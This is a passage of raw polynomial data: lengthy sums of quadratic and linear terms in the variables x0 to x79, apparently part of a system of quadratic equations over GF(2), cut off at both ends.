+ x9*x32 + x9*x35 + x9*x37 + x9*x38 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x58 + x9*x59 + x9*x61 + x9*x63 + x9*x66 + x9*x67 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x76 + x9*x77 + x9*x78 + x9 + x10*x12 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x22 + x10*x25 + x10*x28 + x10*x30 + x10*x31 + x10*x33 + x10*x37 + x10*x40 + x10*x41 + x10*x42 + x10*x43 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x54 + x10*x56 + x10*x58 + x10*x59 + x10*x60 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x70 + x10*x71 + x10*x73 + x10*x74 + x10*x75 + x10*x77 + x10*x78 + x11*x15 + x11*x16 + x11*x17 + x11*x19 + x11*x20 + x11*x22 + x11*x24 + x11*x25 + x11*x27 + x11*x30 + x11*x32 + x11*x34 + x11*x38 + x11*x40 + x11*x41 + x11*x42 + x11*x45 + x11*x46 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x59 + x11*x60 + x11*x61 + x11*x63 + x11*x64 + x11*x66 + x11*x67 + x11*x69 + x11*x74 + x11*x79 + x12*x14 + x12*x15 + x12*x16 + x12*x23 + x12*x25 + x12*x32 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x39 + x12*x41 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x54 + x12*x56 + x12*x59 + x12*x60 + x12*x67 + x12*x69 + x12*x74 + x12*x75 + x12*x78 + x12 + x13*x15 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x25 + x13*x31 + x13*x32 + x13*x35 + x13*x36 + x13*x40 + x13*x41 + x13*x44 + x13*x45 + x13*x48 + x13*x51 + x13*x53 + x13*x55 + x13*x56 + x13*x57 + x13*x58 + x13*x59 + x13*x62 + x13*x63 + x13*x65 + x13*x68 + x13*x69 + x13*x71 + x13*x76 + x13*x79 + x13 + x14*x17 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x33 + x14*x34 + x14*x36 + x14*x41 + x14*x43 + x14*x46 + x14*x50 + x14*x51 + x14*x53 + x14*x56 + x14*x59 + x14*x60 + x14*x61 + x14*x62 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x70 + x14*x71 + x14*x72 + x14*x75 + x14*x77 + x14*x78 + x15*x17 + x15*x18 + x15*x21 + x15*x23 + x15*x24 + x15*x28 + x15*x30 + x15*x31 + x15*x35 + x15*x36 + x15*x38 + x15*x41 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x47 + x15*x49 + x15*x51 + x15*x54 + x15*x55 + x15*x59 + x15*x62 + x15*x66 + x15*x68 + x15*x70 + x15*x72 + x15*x74 + x15*x76 + x15*x77 + x15 + x16*x17 + x16*x18 + x16*x19 + x16*x20 + x16*x25 + x16*x26 + x16*x27 + x16*x30 + x16*x31 + x16*x33 + x16*x35 + x16*x36 + x16*x37 + x16*x38 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x59 + x16*x61 + x16*x62 + x16*x65 + x16*x66 + x16*x67 + x16*x70 + x16*x71 + x16*x72 + x16*x76 + x16*x77 + x16*x78 + x16*x79 + x17*x18 + x17*x19 + x17*x21 + x17*x23 + x17*x24 + x17*x27 + x17*x30 + x17*x34 + x17*x35 + x17*x37 + x17*x38 + x17*x39 + x17*x41 + x17*x44 + x17*x45 + x17*x48 + x17*x49 + x17*x50 + x17*x53 + x17*x54 + x17*x55 + x17*x60 + x17*x63 + x17*x64 + x17*x66 + x17*x67 + x17*x69 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x78 + x17*x79 + x17 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x27 + x18*x28 + x18*x29 + x18*x30 + x18*x33 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x47 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x59 + x18*x61 + x18*x64 + x18*x65 + x18*x68 + x18*x70 + x18*x71 + x18*x75 + x18*x77 + x18*x78 + x18*x79 + x19*x21 + x19*x23 + x19*x25 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x40 + x19*x43 + x19*x44 + x19*x46 + x19*x47 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x62 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x74 + x19*x75 + x19*x79 + x19 + x20*x25 + x20*x27 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x38 + x20*x39 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x48 + x20*x50 + x20*x52 + x20*x54 + x20*x58 + x20*x59 + x20*x60 + x20*x62 + x20*x65 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x75 + x20*x76 + x20 + x21*x22 + x21*x23 + x21*x24 + x21*x25 + x21*x26 + x21*x27 + x21*x31 + x21*x33 + x21*x34 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x42 + x21*x44 + x21*x53 + x21*x54 + x21*x55 + x21*x57 + x21*x58 + x21*x62 + x21*x63 + x21*x64 + x21*x71 + x21*x73 + x21*x77 + x21 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x28 + x22*x29 + x22*x31 + x22*x34 + x22*x36 + x22*x37 + x22*x38 + x22*x40 + x22*x42 + x22*x44 + x22*x46 + x22*x47 + x22*x48 + x22*x54 + x22*x55 + x22*x56 + x22*x57 + x22*x59 + x22*x60 + x22*x61 + x22*x63 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x73 + x22*x76 + x22*x78 + x23*x25 + x23*x27 + x23*x29 + x23*x32 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x42 + x23*x43 + x23*x46 + x23*x50 + x23*x52 + x23*x53 + x23*x54 + x23*x55 + x23*x59 + x23*x60 + x23*x61 + x23*x63 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x68 + x23*x70 + x23*x74 + x23*x75 + x23*x79 + x23 + x24*x25 + x24*x26 + x24*x27 + x24*x31 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x45 + x24*x46 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x55 + x24*x56 + x24*x58 + x24*x60 + x24*x62 + x24*x66 + x24*x67 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x78 + x25*x29 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x37 + x25*x39 + x25*x40 + x25*x41 + x25*x42 + x25*x43 + x25*x44 + x25*x48 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x56 + x25*x57 + x25*x59 + x25*x61 + x25*x62 + x25*x63 + x25*x65 + x25*x66 + x25*x67 + x25*x68 + x25*x69 + x25*x76 + x25*x77 + x26*x28 + x26*x29 + x26*x31 + x26*x33 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x42 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x53 + x26*x54 + x26*x55 + x26*x57 + x26*x58 + x26*x59 + x26*x60 + x26*x61 + x26*x62 + x26*x64 + x26*x66 + x26*x67 + x26*x68 + x26*x71 + x26*x73 + x26*x74 + x26*x75 + x26*x76 + x26*x77 + x26 + x27*x29 + x27*x33 + x27*x36 + x27*x37 + x27*x44 + x27*x47 + x27*x49 + x27*x52 + x27*x54 + x27*x55 + x27*x57 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27 + x28*x30 + x28*x31 + x28*x37 + x28*x40 + x28*x41 + x28*x42 + x28*x43 + x28*x49 + x28*x57 + x28*x58 + x28*x60 + x28*x62 + x28*x63 + x28*x64 + x28*x65 + x28*x66 + x28*x67 + x28*x68 + x28*x70 + x28*x71 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28*x77 + x28*x79 + x28 + x29*x30 + x29*x31 + x29*x34 + x29*x37 + x29*x38 + x29*x43 + x29*x44 + x29*x45 + x29*x46 + x29*x51 + x29*x52 + x29*x53 + x29*x55 + x29*x56 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x63 + x29*x70 + x29*x73 + x29*x76 + x29*x78 + x29*x79 + x30*x31 + x30*x34 + x30*x35 + x30*x37 + x30*x38 + x30*x39 + x30*x41 + x30*x42 + x30*x44 + x30*x45 + x30*x47 + x30*x50 + x30*x52 + x30*x53 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x63 + x30*x64 + x30*x66 + x30*x67 + x30*x68 + x30*x72 + x30*x75 + x30*x76 + x30 + x31*x32 + x31*x34 + x31*x35 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x41 + x31*x42 + x31*x45 + x31*x46 + x31*x47 + x31*x49 + x31*x52 + x31*x53 + x31*x54 + x31*x62 + x31*x66 + x31*x68 + x31*x71 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x77 + x31*x78 + x31 + x32*x33 + x32*x35 + x32*x37 + x32*x39 + x32*x41 + x32*x42 + x32*x43 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x53 + x32*x55 + x32*x56 + x32*x59 + x32*x61 + x32*x63 + x32*x64 + x32*x68 + x32*x69 + x32*x70 + x32*x73 + x32*x77 + x32*x79 + x33*x34 + x33*x36 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x46 + x33*x48 + x33*x49 + x33*x50 + x33*x51 + x33*x54 + x33*x55 + x33*x57 + x33*x61 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x68 + x33*x69 + x33*x70 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x33*x79 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x40 + x34*x41 + x34*x43 + x34*x44 + x34*x45 + x34*x47 + x34*x48 + x34*x50 + x34*x51 + x34*x58 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x71 + x34*x72 + x34*x74 + x34 + x35*x36 + x35*x37 + x35*x40 + x35*x41 + x35*x47 + x35*x49 + x35*x50 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x60 + x35*x63 + x35*x65 + x35*x66 + x35*x67 + x35*x69 + x35*x71 + x35*x72 + x35*x74 + x35*x76 + x35*x77 + x35*x78 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x41 + x36*x42 + x36*x46 + x36*x47 + x36*x49 + x36*x51 + x36*x53 + x36*x54 + x36*x55 + x36*x58 + x36*x60 + x36*x62 + x36*x65 + x36*x67 + x36*x68 + x36*x69 + x36*x71 + x36*x74 + x36*x75 + x36*x76 + x36*x77 + x36*x78 + x36*x79 + x37*x39 + x37*x40 + x37*x41 + x37*x42 + x37*x45 + x37*x46 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x56 + x37*x60 + x37*x65 + x37*x68 + x37*x72 + x37*x73 + x37*x74 + x37*x75 + x37*x77 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x50 + x38*x51 + x38*x52 + x38*x53 + x38*x56 + x38*x58 + x38*x61 + x38*x63 + x38*x64 + x38*x68 + x38*x71 + x38*x73 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x40 + x39*x44 + x39*x45 + x39*x46 + x39*x48 + x39*x52 + x39*x54 + x39*x56 + x39*x57 + x39*x63 + x39*x66 + x39*x67 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x77 + x39*x78 + x40*x43 + x40*x46 + x40*x47 + x40*x48 + x40*x54 + x40*x55 + x40*x58 + x40*x60 + x40*x62 + x40*x63 + x40*x64 + x40*x65 + x40*x70 + x40*x71 + x40*x73 + x40*x74 + x40*x76 + x40*x79 + x40 + x41*x42 + x41*x43 + x41*x44 + x41*x47 + x41*x51 + x41*x52 + x41*x54 + x41*x56 + x41*x58 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x67 + x41*x68 + x41*x71 + x41*x73 + x41*x74 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x47 + x42*x52 + x42*x54 + x42*x56 + x42*x61 + x42*x62 + x42*x64 + x42*x66 + x42*x67 + x42*x68 + x42*x70 + x42*x71 + x42*x73 + x42*x75 + x42*x76 + x42*x77 + x42 + x43*x45 + x43*x46 + x43*x47 + x43*x50 + x43*x51 + x43*x53 + x43*x55 + x43*x57 + x43*x59 + x43*x60 + x43*x61 + x43*x62 + x43*x63 + x43*x70 + x43*x71 + x43*x72 + x43*x73 + x43*x74 + x43*x75 + x43*x76 + x44*x45 + x44*x46 + x44*x47 + x44*x54 + x44*x55 + x44*x56 + x44*x58 + x44*x60 + x44*x61 + x44*x64 + x44*x65 + x44*x66 + x44*x67 + x44*x71 + x44*x73 + x44*x74 + x44*x77 + x44*x79 + x44 + x45*x50 + x45*x54 + x45*x59 + x45*x60 + x45*x65 + x45*x66 + x45*x68 + x45*x69 + x45*x70 + x45*x74 + x45*x75 + x45*x76 + x45*x77 + x45*x78 + x45*x79 + x46*x48 + x46*x49 + x46*x51 + x46*x54 + x46*x56 + x46*x57 + x46*x64 + x46*x65 + x46*x69 + x46*x71 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x46 + x47*x48 + x47*x52 + x47*x54 + x47*x57 + x47*x60 + x47*x61 + x47*x63 + x47*x64 + x47*x65 + x47*x68 + x47*x69 + x47*x70 + x47*x74 + x47*x75 + x47*x76 + x47*x78 + x48*x49 + x48*x54 + x48*x56 + x48*x59 + x48*x60 + x48*x61 + x48*x65 + x48*x66 + x48*x69 + x48*x70 + x48*x72 + x48*x73 + x48*x75 + x48*x77 + x48*x79 + x49*x51 + x49*x52 + x49*x54 + x49*x56 + x49*x59 + x49*x60 + x49*x62 + x49*x67 + x49*x68 + x49*x69 + x49*x70 + x49*x73 + x49*x74 + x49*x77 + x49*x79 + x50*x52 + x50*x53 + x50*x54 + x50*x56 + x50*x59 + x50*x61 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x74 + x50*x76 + x50*x78 + x51*x53 + x51*x54 + x51*x63 + x51*x64 + x51*x65 + x51*x68 + x51*x69 + x51*x70 + x51 + x52*x53 + x52*x55 + x52*x56 + x52*x58 + x52*x60 + x52*x61 + x52*x62 + x52*x65 + x52*x66 + x52*x67 + x52*x68 + x52*x69 + x52*x70 + x52*x72 + x52*x73 + x52*x74 + x52*x75 + x52*x79 + x52 + x53*x56 + x53*x60 + x53*x65 + x53*x69 + x53*x70 + x53*x73 + x53*x75 + x53*x76 + x53*x79 + x53 + x54*x55 + x54*x58 + x54*x59 + x54*x60 + x54*x62 + x54*x64 + x54*x66 + x54*x67 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x73 + x54*x74 + x54*x77 + x54*x78 + x54*x79 + x54 + x55*x56 + x55*x57 + x55*x58 + x55*x60 + x55*x61 + x55*x62 + x55*x63 + x55*x64 + x55*x67 + x55*x69 + x55*x72 + x55*x73 + x55*x76 + x55*x77 + x55*x78 + x55*x79 + x56*x58 + x56*x67 + x56*x72 + x56*x73 + x56*x74 + x56*x77 + x56*x79 + x56 + x57*x58 + x57*x59 + x57*x60 + x57*x64 + x57*x67 + x57*x68 + x57*x69 + x57*x71 + x57*x72 + x57*x74 + x57*x76 + x57*x78 + x57*x79 + x57 + x58*x59 + x58*x60 + x58*x62 + x58*x63 + x58*x65 + x58*x67 + x58*x68 + x58*x69 + x58*x70 + x58*x74 + x58*x75 + x58*x76 + x59*x60 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x67 + x59*x68 + x59*x70 + x59*x71 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x76 + x60*x79 + x61*x63 + x61*x65 + x61*x67 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x78 + x61*x79 + x62*x64 + x62*x65 + x62*x73 + x62*x76 + x62*x77 + x63*x64 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x69 + x63*x70 + x63*x73 + x63*x75 + x63*x76 + x63*x77 + x63*x78 + x63 + x64*x66 + x64*x67 + x64*x69 + x64*x71 + x64*x74 + x64*x79 + x65*x67 + x65*x68 + x65*x69 + x65*x73 + x65*x74 + x65*x76 + x65*x77 + x65 + x66*x68 + x66*x70 + x66*x71 + x66*x73 + x66*x75 + x66*x76 + x66*x79 + x66 + x67*x68 + x67*x69 + x67*x70 + x67*x71 + x67*x73 + x67*x75 + x67*x76 + x68*x69 + x68*x71 + x68*x74 + x68*x77 + x68*x78 + x69*x70 + x69*x71 + x69*x72 + x69*x76 + x70*x71 + x70*x72 + x70*x74 + x70*x77 + x70*x79 + x70 + x71*x72 + x71*x74 + x71*x75 + x71*x76 + x71*x79 + x71 + x72*x73 + x72*x74 + x72*x78 + x73*x78 + x73*x79 + x74*x75 + x74*x78 + x75*x77 + x76*x77 + x76*x79 + x77*x78 + x77, x0*x2 + x0*x3 + x0*x13 + x0*x17 + x0*x18 + x0*x19 + x0*x21 + x0*x23 + x0*x28 + x0*x29 + x0*x35 + x0*x37 + x0*x41 + x0*x43 + x0*x44 + x0*x45 + x0*x47 + x0*x48 + x0*x51 + x0*x52 + x0*x55 + x0*x56 + x0*x57 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x67 + x0*x70 + x0*x71 + x0*x72 + x0*x74 + x0*x75 + x0*x77 + x1*x2 + x1*x4 + x1*x9 + x1*x12 + x1*x15 + x1*x16 + x1*x18 + x1*x19 + x1*x24 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x34 + x1*x35 + x1*x36 + x1*x38 + x1*x39 + x1*x42 + x1*x45 + x1*x46 + x1*x47 + x1*x49 + x1*x50 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x59 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x70 + x1*x72 + x1*x73 + x1*x74 + x1*x77 + x1*x79 + x2*x3 + x2*x4 + x2*x5 + x2*x6 + x2*x8 + x2*x9 + x2*x10 + x2*x14 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x23 + x2*x24 + x2*x28 + x2*x34 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x39 + x2*x40 + x2*x43 + x2*x44 + x2*x45 + x2*x47 + x2*x49 + x2*x53 + x2*x54 + x2*x56 + x2*x58 + x2*x60 + x2*x65 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x2 + x3*x4 + x3*x7 + x3*x8 + x3*x11 + x3*x13 + x3*x15 + x3*x16 + x3*x17 + x3*x18 + x3*x25 + x3*x27 + x3*x28 + x3*x32 + x3*x34 + x3*x36 + x3*x38 + x3*x40 + x3*x41 + x3*x47 + x3*x48 + x3*x49 + x3*x50 + x3*x53 + x3*x58 + x3*x59 + x3*x62 + x3*x64 + x3*x72 + x3*x75 + x3*x77 + x3*x79 + x4*x10 + x4*x12 + x4*x17 + x4*x18 + x4*x20 + x4*x21 + x4*x28 + x4*x30 + x4*x31 + x4*x35 + x4*x38 + x4*x39 + x4*x41 + x4*x45 + x4*x48 + x4*x55 + x4*x58 + x4*x60 + x4*x62 + x4*x63 + x4*x64 + x4*x68 + x4*x70 + x4*x73 + x4*x74 + x4*x76 + x4*x77 + x5*x12 + x5*x13 + x5*x14 + x5*x17 + x5*x19 + x5*x23 + x5*x25 + x5*x27 + x5*x28 + x5*x29 + x5*x31 + x5*x33 + x5*x34 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x42 + x5*x47 + x5*x50 + x5*x53 + x5*x55 + x5*x56 + x5*x58 + x5*x60 + x5*x61 + x5*x62 + x5*x63 + x5*x67 + x5*x68 + x5*x71 + x5*x72 + x5*x78 + x5*x79 + x6*x7 + x6*x18 + x6*x19 + x6*x22 + x6*x24 + x6*x26 + x6*x28 + x6*x31 + x6*x33 + x6*x35 + x6*x36 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x44 + x6*x46 + x6*x49 + x6*x53 + x6*x56 + x6*x58 + x6*x60 + x6*x66 + x6*x70 + x6*x72 + x6*x73 + x6*x74 + x6*x78 + x7*x9 + x7*x10 + x7*x15 + x7*x17 + x7*x20 + x7*x21 + x7*x24 + x7*x28 + x7*x29 + x7*x32 + x7*x34 + x7*x35 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x44 + x7*x45 + x7*x47 + x7*x48 + x7*x50 + x7*x51 + x7*x55 + x7*x58 + x7*x59 + x7*x63 + x7*x64 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x74 + x7*x75 + x7*x77 + x7*x79 + x7 + x8*x10 + x8*x11 + x8*x15 + x8*x17 + x8*x19 + x8*x20 + x8*x21 + x8*x22 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x29 + x8*x30 + x8*x32 + x8*x35 + x8*x40 + x8*x41 + x8*x42 + x8*x45 + x8*x48 + x8*x49 + x8*x50 + x8*x53 + x8*x54 + x8*x55 + x8*x56 + x8*x59 + x8*x60 + x8*x64 + x8*x65 + x8*x67 + x8*x68 + x8*x69 + x8*x73 + x8*x77 + x8*x79 + x8 + x9*x13 + x9*x16 + x9*x20 + x9*x21 + x9*x22 + x9*x23 + x9*x24 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x31 + x9*x36 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x49 + x9*x54 + x9*x55 + x9*x56 + x9*x59 + x9*x60 + x9*x65 + x9*x67 + x9*x68 + x9*x69 + x9*x72 + x9*x74 + x9*x75 + x9*x77 + x10*x12 + x10*x13 + x10*x14 + x10*x17 + x10*x18 + x10*x23 + x10*x31 + x10*x35 + x10*x36 + x10*x40 + x10*x41 + x10*x42 + x10*x47 + x10*x48 + x10*x49 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x58 + x10*x59 + x10*x60 + x10*x61 + x10*x64 + x10*x66 + x10*x74 + x10*x75 + x10*x77 + x10 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x19 + x11*x20 + x11*x22 + x11*x23 + x11*x24 + x11*x28 + x11*x31 + x11*x32 + x11*x33 + x11*x34 + x11*x35 + x11*x36 + x11*x39 + x11*x40 + x11*x44 + x11*x47 + x11*x49 + x11*x51 + x11*x54 + x11*x59 + x11*x60 + x11*x62 + x11*x64 + x11*x69 + x11*x70 + x11*x71 + x11*x72 + x11*x75 + x11*x77 + x11*x79 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x19 + x12*x21 + x12*x22 + x12*x24 + x12*x28 + x12*x29 + x12*x36 + x12*x38 + x12*x40 + x12*x43 + x12*x47 + x12*x49 + x12*x55 + x12*x56 + x12*x58 + x12*x60 + x12*x66 + x12*x67 + x12*x71 + x12*x73 + x12*x77 + x12 + x13*x14 + x13*x15 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x25 + x13*x29 + x13*x32 + x13*x33 + x13*x36 + x13*x37 + x13*x39 + x13*x44 + x13*x45 + x13*x47 + x13*x49 + x13*x50 + x13*x51 + x13*x54 + x13*x58 + x13*x60 + x13*x61 + x13*x64 + x13*x68 + x13*x69 + x13*x71 + x13*x72 + x13*x76 + x13*x77 + x13*x78 + x13*x79 + x14*x16 + x14*x17 + x14*x20 + x14*x22 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x29 + x14*x31 + x14*x36 + x14*x38 + x14*x39 + x14*x42 + x14*x44 + x14*x46 + x14*x51 + x14*x52 + x14*x55 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x60 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x69 + x14*x72 + x14*x73 + x14*x74 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x15*x16 + x15*x17 + x15*x19 + x15*x22 + x15*x27 + x15*x29 + x15*x32 + x15*x34 + x15*x35 + x15*x37 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x54 + x15*x55 + x15*x57 + x15*x58 + x15*x60 + x15*x66 + x15*x68 + x15*x69 + x15*x73 + x15*x76 + x16*x18 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x24 + x16*x26 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x36 + x16*x42 + x16*x44 + x16*x48 + x16*x49 + x16*x51 + x16*x56 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x69 + x16*x70 + x16*x73 + x16*x74 + x16*x77 + x17*x19 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x27 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x41 + x17*x44 + x17*x46 + x17*x48 + x17*x51 + x17*x54 + x17*x55 + x17*x57 + x17*x59 + x17*x60 + x17*x63 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x72 + x17*x73 + x17*x74 + x17*x76 + x17*x77 + x17 + x18*x21 + x18*x22 + x18*x23 + x18*x25 + x18*x30 + x18*x32 + x18*x34 + x18*x38 + x18*x39 + x18*x40 + x18*x42 + x18*x47 + x18*x48 + x18*x50 + x18*x55 + x18*x56 + x18*x57 + x18*x59 + x18*x60 + x18*x61 + x18*x62 + x18*x63 + x18*x65 + x18*x67 + x18*x68 + x18*x73 + x18*x75 + x18*x77 + x18*x78 + x18 + x19*x20 + x19*x21 + x19*x22 + x19*x26 + x19*x27 + x19*x29 + x19*x30 + x19*x32 + x19*x33 + x19*x34 + x19*x36 + x19*x37 + x19*x38 + x19*x40 + x19*x42 + x19*x43 + x19*x44 + x19*x45 + x19*x46 + x19*x49 + x19*x50 + x19*x51 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x62 + x19*x65 + x19*x66 + x19*x70 + x19*x71 + x19*x75 + x19*x76 + x19*x78 + x19*x79 + x20*x22 + x20*x23 + x20*x24 + x20*x27 + x20*x28 + x20*x31 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x38 + x20*x42 + x20*x45 + x20*x48 + x20*x49 + x20*x50 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x57 + x20*x58 + x20*x59 + x20*x62 + x20*x63 + x20*x64 + x20*x65 + x20*x68 + x20*x69 + x20*x72 + x20*x76 + x20*x79 + x21*x23 + x21*x24 + x21*x26 + x21*x34 + x21*x35 + x21*x36 + x21*x39 + x21*x40 + x21*x41 + x21*x47 + x21*x50 + x21*x60 + x21*x63 + x21*x64 + x21*x65 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x74 + x21*x78 + x22*x24 + x22*x25 + x22*x26 + x22*x28 + x22*x29 + x22*x31 + x22*x33 + x22*x35 + x22*x38 + x22*x44 + x22*x45 + x22*x49 + x22*x54 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x61 + x22*x62 + x22*x69 + x22*x71 + x22*x72 + x22*x74 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x27 + x23*x28 + x23*x29 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x37 + x23*x38 + x23*x39 + x23*x43 + x23*x46 + x23*x47 + x23*x50 + x23*x51 + x23*x53 + x23*x56 + x23*x60 + x23*x63 + x23*x68 + x23*x70 + x23*x73 + x23*x75 + x23*x77 + x23*x78 + x24*x27 + x24*x28 + x24*x29 + x24*x34 + x24*x37 + x24*x38 + x24*x39 + x24*x40 + x24*x41 + x24*x42 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x51 + x24*x55 + x24*x59 + x24*x66 + x24*x67 + x24*x68 + x24*x69 + x24*x71 + x24*x72 + x24*x75 + x24*x76 + x24*x79 + x25*x26 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x33 + x25*x34 + x25*x38 + x25*x39 + x25*x44 + x25*x48 + x25*x51 + x25*x56 + x25*x58 + x25*x60 + x25*x61 + x25*x65 + x25*x66 + x25*x70 + x25*x71 + x25*x73 + x25*x74 + x25*x76 + x25*x77 + x25*x79 + x25 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x41 + x26*x43 + x26*x44 + x26*x48 + x26*x49 + x26*x50 + x26*x53 + x26*x54 + x26*x56 + x26*x59 + x26*x60 + x26*x61 + x26*x63 + x26*x64 + x26*x67 + x26*x68 + x26*x73 + x26*x74 + x26*x76 + 